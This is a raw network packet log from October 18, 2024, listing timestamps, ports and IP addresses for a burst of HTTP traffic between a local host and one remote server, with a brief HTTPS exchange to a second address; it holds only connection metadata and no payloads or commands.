Oct 18, 2024 15:04:59.830063105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830074072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830080032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830086946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830100060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830111027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830123901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830154896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830154896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830154896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830542088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830650091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830655098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830662012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830673933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830683947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830693960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830703974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830708027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830717087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830738068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830749035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830758095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830771923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830779076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830779076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830785036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830797911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830852032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830852032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830877066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830895901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830907106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830918074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830929041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830940962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830949068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830949068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830954075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830966949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830980062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830986977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830991030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831012011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831046104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831058025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831070900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831083059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831090927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831090927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831090927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831095934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831106901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831176996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831178904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831178904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831192017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831202984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831213951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831227064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831248045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831312895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831325054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831335068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831348896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831362963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831362963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831372023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831388950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831401110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831403017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831409931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831415892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831474066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831478119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831491947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831502914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831518888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831526041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831531048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831542015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831598043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831598043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831608057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831676960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831687927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831742048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831753016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831763983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831774950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831778049 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831778049 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831840038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831840038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831886053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831897020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831911087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831923008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831933975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831935883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.831948042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831954002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831959009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831964970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.831989050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.832000971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.832010984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.832031012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.832031012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.832067013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.832067013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.894809008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.894830942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.894947052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.904547930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.907352924 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:59.907439947 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:59.915102005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.915309906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.915357113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946232080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946250916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946269989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946302891 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946424961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946440935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946455956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946481943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946491003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946491957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946500063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946517944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946533918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946549892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946554899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946566105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946583033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946599007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946621895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946638107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946652889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946679115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946679115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946679115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946679115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946787119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946800947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946818113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946845055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946856022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946861029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946875095 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946880102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946898937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946914911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.946974993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.946974993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947268963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947284937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947300911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947315931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947331905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947359085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947359085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947411060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947428942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947443962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947458982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947467089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947474003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947551966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947560072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947621107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947635889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947652102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947659969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947675943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947694063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947699070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947711945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947768927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947768927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947802067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947818041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947905064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947906017 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947921038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947936058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947943926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947961092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947974920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.947988987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.947997093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948023081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948036909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948052883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948077917 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948077917 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948077917 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948080063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948096991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948112011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948115110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948129892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948169947 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948169947 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948187113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948201895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948216915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948230028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948245049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948261023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948273897 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948275089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948273897 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948292971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948311090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948324919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948327065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948343039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948378086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948394060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948406935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948422909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948436975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948436975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948437929 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948437929 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948486090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948502064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948518991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948534012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948540926 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948549986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948601007 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948601961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948920965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948935986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948955059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948976994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.948990107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.948992014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949007034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949008942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949065924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949091911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949110985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949126005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949141026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949183941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949224949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949239969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949255943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949273109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949287891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949304104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949312925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949312925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949314117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949323893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949342012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949347019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949385881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949400902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949415922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949430943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949445009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949461937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949461937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949481964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949582100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949596882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949611902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949626923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949630022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949644089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949660063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949666977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949676037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949692965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949711084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949727058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949743032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949752092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949752092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949752092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949759007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949776888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949785948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949826002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949836016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949851036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949866056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949882030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949888945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949898005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949911118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949925900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949940920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949945927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949945927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.949965000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949980974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.949987888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950006962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950022936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950023890 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950038910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950053930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950071096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950086117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950103045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950107098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950107098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950120926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950154066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950154066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950248003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950263023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950277090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950293064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950309038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950325012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950328112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950340986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950357914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950382948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950385094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950385094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950396061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950398922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950416088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950431108 CEST	80	50042	185.215.113.103	192.168.2.4
